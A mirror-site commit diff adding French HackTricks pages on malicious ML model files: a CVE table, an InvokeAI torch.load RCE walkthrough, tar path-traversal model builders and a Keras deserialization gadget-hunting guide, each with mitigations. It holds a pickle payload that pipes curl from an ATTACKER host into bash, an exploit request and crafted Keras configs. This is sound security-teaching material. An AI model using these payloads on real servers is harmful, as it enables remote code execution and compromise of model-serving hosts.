mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-red-teaming/macos-mdm/README.md',
This commit is contained in:
parent
aca8160d45
commit
9411f5d1ce
@ -8,24 +8,93 @@ Les modèles d'apprentissage automatique sont généralement partagés dans diff
|
||||
|
||||
Au moment de la rédaction, voici quelques exemples de ce type de vulnérabilités :
|
||||
|
||||
| **Framework / Outil** | **Vulnérabilité (CVE si disponible)** | **Vecteur RCE** | **Références** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Désérialisation non sécurisée dans* `torch.load` **(CVE-2025-32434)** | Pickle malveillant dans le point de contrôle du modèle conduit à l'exécution de code (contournant la protection `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + téléchargement de modèle malveillant provoque l'exécution de code ; désérialisation RCE Java dans l'API de gestion | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sécurisé) <br> **CVE-2024-3660** (Keras Lambda) | Chargement de modèle à partir de YAML utilise `yaml.unsafe_load` (exécution de code) <br> Chargement de modèle avec une couche **Lambda** exécute du code Python arbitraire | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (analyse TFLite) | Modèle `.tflite` conçu déclenche un dépassement d'entier → corruption de la mémoire (RCE potentiel) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Chargement d'un modèle via `joblib.load` exécute pickle avec le payload `__reduce__` de l'attaquant | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (non sécurisé `np.load`) *contesté* | `numpy.load` par défaut permettait des tableaux d'objets picklés – `.npy/.npz` malveillant déclenche l'exécution de code | |
|
||||
| **Framework / Outil** | **Vulnérabilité (CVE si disponible)** | **Vecteur RCE** | **Références** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Désérialisation non sécurisée dans* `torch.load` **(CVE-2025-32434)** | Pickle malveillant dans le point de contrôle du modèle conduit à l'exécution de code (contournant la protection `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + téléchargement de modèle malveillant provoque l'exécution de code ; désérialisation RCE Java dans l'API de gestion | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sécurisé) <br> **CVE-2024-3660** (Keras Lambda) | Chargement de modèle à partir de YAML utilise `yaml.unsafe_load` (exécution de code) <br> Chargement de modèle avec la couche **Lambda** exécute du code Python arbitraire | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (analyse TFLite) | Modèle `.tflite` malformé déclenche un dépassement d'entier → corruption de la mémoire (RCE potentiel) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Chargement d'un modèle via `joblib.load` exécute pickle avec le payload `__reduce__` de l'attaquant | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (non sécurisé `np.load`) *contesté* | `numpy.load` par défaut permettait des tableaux d'objets picklés – `.npy/.npz` malveillant déclenche l'exécution de code | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversée de répertoire) <br> **CVE-2024-5187** (traversée tar) | Le chemin des poids externes du modèle ONNX peut échapper au répertoire (lecture de fichiers arbitraires) <br> Modèle ONNX malveillant tar peut écraser des fichiers arbitraires (menant à RCE) | |
|
||||
| ONNX Runtime (risque de conception) | *(Pas de CVE)* opérations personnalisées ONNX / flux de contrôle | Modèle avec opérateur personnalisé nécessite le chargement du code natif de l'attaquant ; des graphes de modèles complexes abusent de la logique pour exécuter des calculs non prévus | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversée de chemin) | Utiliser l'API de chargement de modèle avec `--model-control` activé permet la traversée de chemin relatif pour écrire des fichiers (par exemple, écraser `.bashrc` pour RCE) | |
|
||||
| Runtime ONNX (risque de conception) | *(Pas de CVE)* opérations personnalisées ONNX / flux de contrôle | Modèle avec opérateur personnalisé nécessite le chargement du code natif de l'attaquant ; des graphes de modèles complexes abusent de la logique pour exécuter des calculs non prévus | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversée de chemin) | Utiliser l'API de chargement de modèle avec `--model-control` activé permet une traversée de chemin relative pour écrire des fichiers (par exemple, écraser `.bashrc` pour RCE) | |
|
||||
| **GGML (format GGUF)** | **CVE-2024-25664 … 25668** (multiples dépassements de tas) | Fichier de modèle GGUF malformé provoque des dépassements de tampon dans le parseur, permettant l'exécution de code arbitraire sur le système victime | |
|
||||
| **Keras (anciens formats)** | *(Pas de nouveau CVE)* Modèle Keras H5 hérité | Modèle HDF5 (`.h5`) malveillant avec code de couche Lambda s'exécute toujours au chargement (Keras safe_mode ne couvre pas l'ancien format – "attaque de rétrogradation") | |
|
||||
| **Autres** (général) | *Flaw de conception* – Sérialisation Pickle | De nombreux outils ML (par exemple, formats de modèle basés sur pickle, Python `pickle.load`) exécuteront du code arbitraire intégré dans les fichiers de modèle à moins d'être atténués | |
|
||||
| **Autres** (général) | *Défaut de conception* – Sérialisation Pickle | De nombreux outils ML (par exemple, formats de modèle basés sur pickle, `pickle.load` de Python) exécuteront du code arbitraire intégré dans les fichiers de modèle à moins d'être atténués | |
|
||||
|
||||
De plus, il existe des modèles basés sur pickle Python comme ceux utilisés par [PyTorch](https://github.com/pytorch/pytorch/security) qui peuvent être utilisés pour exécuter du code arbitraire sur le système s'ils ne sont pas chargés avec `weights_only=True`. Ainsi, tout modèle basé sur pickle pourrait être particulièrement susceptible à ce type d'attaques, même s'ils ne sont pas listés dans le tableau ci-dessus.
|
||||
|
||||
Exemple :
|
||||
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
|
||||
|
||||
`InvokeAI` est une interface web open-source populaire pour Stable-Diffusion. Les versions **5.3.1 – 5.4.2** exposent le point de terminaison REST `/api/v2/models/install` qui permet aux utilisateurs de télécharger et de charger des modèles à partir d'URLs arbitraires.
|
||||
|
||||
En interne, le point de terminaison appelle finalement :
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Lorsque le fichier fourni est un **checkpoint PyTorch (`*.ckpt`)**, `torch.load` effectue une **désérialisation pickle**. Étant donné que le contenu provient directement de l'URL contrôlée par l'utilisateur, un attaquant peut intégrer un objet malveillant avec une méthode `__reduce__` personnalisée à l'intérieur du checkpoint ; la méthode est exécutée **lors de la désérialisation**, conduisant à une **exécution de code à distance (RCE)** sur le serveur InvokeAI.
|
||||
|
||||
La vulnérabilité a été attribuée à **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
#### Guide d'exploitation
|
||||
|
||||
1. Créer un checkpoint malveillant :
|
||||
```python
|
||||
# payload_gen.py
|
||||
import pickle, torch, os
|
||||
|
||||
class Payload:
|
||||
def __reduce__(self):
|
||||
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
|
||||
|
||||
with open("payload.ckpt", "wb") as f:
|
||||
pickle.dump(Payload(), f)
|
||||
```
|
||||
2. Hébergez `payload.ckpt` sur un serveur HTTP que vous contrôlez (par exemple, `http://ATTACKER/payload.ckpt`).
|
||||
3. Déclenchez le point de terminaison vulnérable (aucune authentification requise) :
|
||||
```python
|
||||
import requests
|
||||
|
||||
requests.post(
|
||||
"http://TARGET:9090/api/v2/models/install",
|
||||
params={
|
||||
"source": "http://ATTACKER/payload.ckpt", # remote model URL
|
||||
"inplace": "true", # write inside models dir
|
||||
# the dangerous default is scan=false → no AV scan
|
||||
},
|
||||
json={}, # body can be empty
|
||||
timeout=5,
|
||||
)
|
||||
```
|
||||
4. Lorsque InvokeAI télécharge le fichier, il appelle `torch.load()` → le gadget `os.system` s'exécute et l'attaquant obtient une exécution de code dans le contexte du processus InvokeAI.
|
||||
|
||||
Exploitation prête à l'emploi : **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automatise tout le flux.
|
||||
|
||||
#### Conditions
|
||||
|
||||
• InvokeAI 5.3.1-5.4.2 (drapeau de scan par défaut **false**)
|
||||
• `/api/v2/models/install` accessible par l'attaquant
|
||||
• Le processus a les permissions pour exécuter des commandes shell
|
||||
|
||||
#### Atténuations
|
||||
|
||||
* Mettez à niveau vers **InvokeAI ≥ 5.4.3** – le correctif définit `scan=True` par défaut et effectue une analyse de logiciels malveillants avant la désérialisation.
|
||||
* Lors du chargement de points de contrôle de manière programmatique, utilisez `torch.load(file, weights_only=True)` ou le nouvel [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
|
||||
* Appliquez des listes d'autorisation / signatures pour les sources de modèles et exécutez le service avec le moindre privilège.
|
||||
|
||||
> ⚠️ N'oubliez pas que **tout** format basé sur Python pickle (y compris de nombreux fichiers `.pt`, `.pkl`, `.ckpt`, `.pth`) est intrinsèquement dangereux à désérialiser à partir de sources non fiables.
|
||||
|
||||
---
|
||||
|
||||
Exemple d'une atténuation ad hoc si vous devez maintenir des versions plus anciennes d'InvokeAI fonctionnant derrière un proxy inverse :
|
||||
```nginx
|
||||
location /api/v2/models/install {
|
||||
deny all; # block direct Internet access
|
||||
allow 10.0.0.0/8; # only internal CI network can call it
|
||||
}
|
||||
```
|
||||
## Exemple – création d'un modèle PyTorch malveillant
|
||||
|
||||
- Créer le modèle :
|
||||
```python
|
||||
@ -62,4 +131,49 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
## Modèles pour le Traversée de Chemin
|
||||
|
||||
Comme commenté dans [**cet article de blog**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), la plupart des formats de modèles utilisés par différents frameworks d'IA sont basés sur des archives, généralement `.zip`. Par conséquent, il pourrait être possible d'abuser de ces formats pour effectuer des attaques de traversée de chemin, permettant de lire des fichiers arbitraires depuis le système où le modèle est chargé.
|
||||
|
||||
Par exemple, avec le code suivant, vous pouvez créer un modèle qui créera un fichier dans le répertoire `/tmp` lorsqu'il est chargé :
|
||||
```python
|
||||
import tarfile
|
||||
|
||||
def escape(member):
|
||||
member.name = "../../tmp/hacked" # break out of the extract dir
|
||||
return member
|
||||
|
||||
with tarfile.open("traversal_demo.model", "w:gz") as tf:
|
||||
tf.add("harmless.txt", filter=escape)
|
||||
```
|
||||
Ou, avec le code suivant, vous pouvez créer un modèle qui créera un symlink vers le répertoire `/tmp` lorsqu'il sera chargé :
|
||||
```python
|
||||
import tarfile, pathlib
|
||||
|
||||
TARGET = "/tmp" # where the payload will land
|
||||
PAYLOAD = "abc/hacked"
|
||||
|
||||
def link_it(member):
|
||||
member.type, member.linkname = tarfile.SYMTYPE, TARGET
|
||||
return member
|
||||
|
||||
with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
### Plongée approfondie : désérialisation .keras et recherche de gadgets
|
||||
|
||||
Pour un guide ciblé sur les internals de .keras, RCE de la couche Lambda, le problème d'importation arbitraire dans ≤ 3.8, et la découverte de gadgets post-correction à l'intérieur de la liste blanche, voir :
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – Désérialisation de données non fiables par InvokeAI"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [Commit de patch InvokeAI 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Documentation du module Metasploit de Rapid7](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – considérations de sécurité pour torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -69,6 +69,7 @@
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
- [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||
- [venv](generic-methodologies-and-resources/python/venv.md)
|
||||
|
@ -2,11 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Pages intéressantes à consulter :**
|
||||
|
||||
- [**Astuces de hacking Pyscript**](pyscript.md)
|
||||
- [**Désérialisations Python**](../../pentesting-web/deserialization/index.html#python)
|
||||
- [**Astuces pour contourner les sandboxes Python**](bypass-python-sandboxes/index.html)
|
||||
- [**Désérialisations Python**](../../pentesting-web/deserialization/README.md)
|
||||
- [**Désérialisation de modèle Keras RCE et chasse aux gadgets**](keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [**Astuces pour contourner les sandboxes Python**](bypass-python-sandboxes/README.md)
|
||||
- [**Syntaxe de base des requêtes web Python**](web-requests.md)
|
||||
- [**Syntaxe et bibliothèques Python de base**](basic-python.md)
|
||||
|
||||
|
@ -0,0 +1,207 @@
|
||||
# Keras Model Deserialization RCE and Gadget Hunting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page résume les techniques d'exploitation pratiques contre le pipeline de désérialisation des modèles Keras, explique les détails internes du format .keras et la surface d'attaque, et fournit un kit d'outils pour les chercheurs afin de trouver des vulnérabilités de fichiers de modèle (MFVs) et des gadgets post-correction.
|
||||
|
||||
## Détails internes du format de modèle .keras
|
||||
|
||||
Un fichier .keras est une archive ZIP contenant au moins :
|
||||
- metadata.json – informations génériques (par exemple, version de Keras)
|
||||
- config.json – architecture du modèle (surface d'attaque principale)
|
||||
- model.weights.h5 – poids en HDF5
|
||||
|
||||
Le config.json entraîne une désérialisation récursive : Keras importe des modules, résout des classes/fonctions et reconstruit des couches/objets à partir de dictionnaires contrôlés par l'attaquant.
|
||||
|
||||
Extrait d'exemple pour un objet de couche Dense :
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Dense",
|
||||
"config": {
|
||||
"units": 64,
|
||||
"activation": {
|
||||
"module": "keras.activations",
|
||||
"class_name": "relu"
|
||||
},
|
||||
"kernel_initializer": {
|
||||
"module": "keras.initializers",
|
||||
"class_name": "GlorotUniform"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
La désérialisation effectue :
|
||||
- Importation de modules et résolution de symboles à partir des clés module/class_name
|
||||
- invocation de from_config(...) ou du constructeur avec des kwargs contrôlés par l'attaquant
|
||||
- Récursion dans des objets imbriqués (activations, initialisateurs, contraintes, etc.)
|
||||
|
||||
Historiquement, cela a exposé trois primitives à un attaquant créant config.json :
|
||||
- Contrôle des modules importés
|
||||
- Contrôle des classes/fonctions résolues
|
||||
- Contrôle des kwargs passés dans les constructeurs/from_config
|
||||
|
||||
## CVE-2024-3660 – Exécution de code à distance par bytecode de couche Lambda
|
||||
|
||||
Cause racine :
|
||||
- Lambda.from_config() utilisait python_utils.func_load(...) qui décode en base64 et appelle marshal.loads() sur des octets de l'attaquant ; la désérialisation Python peut exécuter du code.
|
||||
|
||||
Idée d'exploitation (charge utile simplifiée dans config.json) :
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "exploit_lambda",
|
||||
"function": {
|
||||
"function_type": "lambda",
|
||||
"bytecode_b64": "<attacker_base64_marshal_payload>"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Mitigation:
|
||||
- Keras impose safe_mode=True par défaut. Les fonctions Python sérialisées dans Lambda sont bloquées à moins qu'un utilisateur ne choisisse explicitement de désactiver avec safe_mode=False.
|
||||
|
||||
Notes:
|
||||
- Les formats hérités (anciens enregistrements HDF5) ou les anciennes bases de code peuvent ne pas appliquer les vérifications modernes, donc les attaques de style "downgrade" peuvent toujours s'appliquer lorsque les victimes utilisent des chargeurs plus anciens.
|
||||
|
||||
## CVE-2025-1550 – Importation de module arbitraire dans Keras ≤ 3.8
|
||||
|
||||
Root cause:
|
||||
- _retrieve_class_or_fn utilisait importlib.import_module() sans restriction avec des chaînes de module contrôlées par l'attaquant provenant de config.json.
|
||||
- Impact : Importation arbitraire de tout module installé (ou module planté par l'attaquant sur sys.path). Le code s'exécute au moment de l'importation, puis la construction de l'objet se produit avec des kwargs de l'attaquant.
|
||||
|
||||
Exploit idea:
|
||||
```json
|
||||
{
|
||||
"module": "maliciouspkg",
|
||||
"class_name": "Danger",
|
||||
"config": {"arg": "val"}
|
||||
}
|
||||
```
|
||||
Améliorations de la sécurité (Keras ≥ 3.9) :
|
||||
- Liste blanche des modules : importations restreintes aux modules de l'écosystème officiel : keras, keras_hub, keras_cv, keras_nlp
|
||||
- Mode sécurisé par défaut : safe_mode=True bloque le chargement de fonctions sérialisées Lambda non sécurisées
|
||||
- Vérification de type de base : les objets désérialisés doivent correspondre aux types attendus
|
||||
|
||||
## Surface de gadgets post-correction à l'intérieur de la liste blanche
|
||||
|
||||
Même avec la liste blanche et le mode sécurisé, une large surface reste parmi les appelables Keras autorisés. Par exemple, keras.utils.get_file peut télécharger des URL arbitraires vers des emplacements sélectionnables par l'utilisateur.
|
||||
|
||||
Gadget via Lambda qui référence une fonction autorisée (pas de bytecode Python sérialisé) :
|
||||
```json
|
||||
{
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "dl",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {
|
||||
"fname": "artifact.bin",
|
||||
"origin": "https://example.com/artifact.bin",
|
||||
"cache_dir": "/tmp/keras-cache"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Limitation importante :
|
||||
- Lambda.call() ajoute le tenseur d'entrée comme le premier argument positionnel lors de l'invocation de l'appelable cible. Les gadgets choisis doivent tolérer un argument positionnel supplémentaire (ou accepter *args/**kwargs). Cela limite les fonctions viables.
|
||||
|
||||
Impacts potentiels des gadgets autorisés :
|
||||
- Téléchargement/écriture arbitraire (plantation de chemin, empoisonnement de configuration)
|
||||
- Rappels réseau/effets similaires à SSRF selon l'environnement
|
||||
- Chaînage vers l'exécution de code si les chemins écrits sont ensuite importés/exécutés ou ajoutés à PYTHONPATH, ou si un emplacement d'exécution sur écriture accessible existe
|
||||
|
||||
## Boîte à outils du chercheur
|
||||
|
||||
1) Découverte systématique de gadgets dans les modules autorisés
|
||||
|
||||
Énumérer les appelables candidats à travers keras, keras_nlp, keras_cv, keras_hub et prioriser ceux ayant des effets secondaires sur les fichiers/réseaux/processus/environnement.
|
||||
```python
|
||||
import importlib, inspect, pkgutil
|
||||
|
||||
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
|
||||
|
||||
seen = set()
|
||||
|
||||
def iter_modules(mod):
|
||||
if not hasattr(mod, "__path__"):
|
||||
return
|
||||
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
|
||||
yield m.name
|
||||
|
||||
candidates = []
|
||||
for root in ALLOWLIST:
|
||||
try:
|
||||
r = importlib.import_module(root)
|
||||
except Exception:
|
||||
continue
|
||||
for name in iter_modules(r):
|
||||
if name in seen:
|
||||
continue
|
||||
seen.add(name)
|
||||
try:
|
||||
m = importlib.import_module(name)
|
||||
except Exception:
|
||||
continue
|
||||
for n, obj in inspect.getmembers(m):
|
||||
if inspect.isfunction(obj) or inspect.isclass(obj):
|
||||
sig = None
|
||||
try:
|
||||
sig = str(inspect.signature(obj))
|
||||
except Exception:
|
||||
pass
|
||||
doc = (inspect.getdoc(obj) or "").lower()
|
||||
text = f"{name}.{n} {sig} :: {doc}"
|
||||
# Heuristics: look for I/O or network-ish hints
|
||||
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
|
||||
candidates.append(text)
|
||||
|
||||
print("\n".join(sorted(candidates)[:200]))
|
||||
```
|
||||
2) Test de désérialisation directe (aucune archive .keras nécessaire)
|
||||
|
||||
Alimentez des dictionnaires conçus directement dans les désérialiseurs Keras pour apprendre les paramètres acceptés et observer les effets secondaires.
|
||||
```python
|
||||
from keras import layers
|
||||
|
||||
cfg = {
|
||||
"module": "keras.layers",
|
||||
"class_name": "Lambda",
|
||||
"config": {
|
||||
"name": "probe",
|
||||
"function": {"module": "keras.utils", "class_name": "get_file"},
|
||||
"arguments": {"fname": "x", "origin": "https://example.com/x"}
|
||||
}
|
||||
}
|
||||
|
||||
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
|
||||
```
|
||||
3) Probe croisée des versions et formats
|
||||
|
||||
Keras existe dans plusieurs bases de code/époques avec différentes protections et formats :
|
||||
- Keras intégré à TensorFlow : tensorflow/python/keras (héritage, prévu pour suppression)
|
||||
- tf-keras : maintenu séparément
|
||||
- Keras 3 multi-backend (officiel) : introduction du .keras natif
|
||||
|
||||
Répétez les tests à travers les bases de code et les formats (.keras vs HDF5 hérité) pour découvrir des régressions ou des protections manquantes.
|
||||
|
||||
## Recommandations défensives
|
||||
|
||||
- Traitez les fichiers de modèle comme des entrées non fiables. Chargez uniquement des modèles provenant de sources de confiance.
|
||||
- Gardez Keras à jour ; utilisez Keras ≥ 3.9 pour bénéficier de la liste blanche et des vérifications de type.
|
||||
- Ne définissez pas safe_mode=False lors du chargement des modèles à moins de faire entièrement confiance au fichier.
|
||||
- Envisagez d'exécuter la désérialisation dans un environnement isolé, avec le moins de privilèges possible, sans sortie réseau et avec un accès au système de fichiers restreint.
|
||||
- Appliquez des listes blanches/signatures pour les sources de modèles et la vérification d'intégrité lorsque cela est possible.
|
||||
|
||||
## Références
|
||||
|
||||
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
|
||||
- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
|
||||
- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
|
||||
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
|
||||
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
|
||||
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
File diff suppressed because one or more lines are too long
Loading…
x
Reference in New Issue
Block a user